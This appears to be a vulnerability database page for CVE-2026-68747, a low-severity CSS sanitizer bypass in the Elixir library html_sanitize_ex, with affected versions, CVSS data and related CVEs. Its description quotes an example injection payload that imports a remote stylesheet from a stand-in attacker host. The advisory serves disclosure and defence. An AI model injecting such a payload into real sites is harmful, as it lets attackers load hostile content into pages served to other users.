Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2026-68747— CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

CVSS 2.3 · Low
Get alerts for future matching vulnerabilitiesLog in to subscribe

I. Basic Information for CVE-2026-68747

Vulnerability Information

Have questions about the vulnerability? See if Shenlong's analysis helps!
View Shenlong Deep Dive ↗

Although we use advanced large model technology, its output may still contain inaccurate or outdated information.Shenlong tries to ensure data accuracy, but please verify and judge based on the actual situation.

Vulnerability Title
CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input
Source: CVE Program / CVE List V5
Vulnerability Description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.
Source: CVE Program / CVE List V5
CVSS Information
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Source: CVE Program / CVE List V5
Vulnerability Type
输出中的特殊元素转义处理不恰当(注入)
Source: CVE Program / CVE List V5

Affected Products

VendorProductAffected VersionsCPESubscribe
rrrenehtml_sanitize_ex 0.3.1 ~ 1.5.4 cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*
rrrenehtml_sanitize_ex 21f90012eb21aa36f4e3701b7547e12faf0f3c8b ~ 0b9f9ad63a7529d4f2c3c1134c371adc3e654308 cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*

II. Public POCs for CVE-2026-68747

#POC DescriptionSource LinkShenlong Link
AI-Generated POCPremium

No public POC found.

Login to generate AI POC

III. Intelligence Information for CVE-2026-68747

登录查看更多情报信息。

Patches & Fixes for CVE-2026-68747 (1)

Vendor Advisories for CVE-2026-68747 (2)

Other References for CVE-2026-68747 (1)

Same Patch Batch · rrrene · 2026-08-06 · 6 CVEs total

CVE-2026-687498.2 HIGHQuadratic regex backtracking in the html_sanitize_ex CSS scrubber allows CPU-exhaustion de
CVE-2026-687508.2 HIGHQuadratic sibling re-flattening in the html_sanitize_ex traversal engine allows CPU-exhaus
CVE-2026-663704.8 MEDIUMhtml_sanitize_ex HTML5 scrubber keeps attacker-supplied form-association attributes, allow
CVE-2026-668292.3 LOWhtml_sanitize_ex HTML5 scrubber keeps attacker-supplied meta refresh, allowing forced cros
CVE-2026-668432.3 LOWhtml_sanitize_ex HTML5 scrubber keeps attacker-supplied `<object>` elements, allowing untr

IV. Related Vulnerabilities

V. Comments for CVE-2026-68747

No comments yet


Leave a comment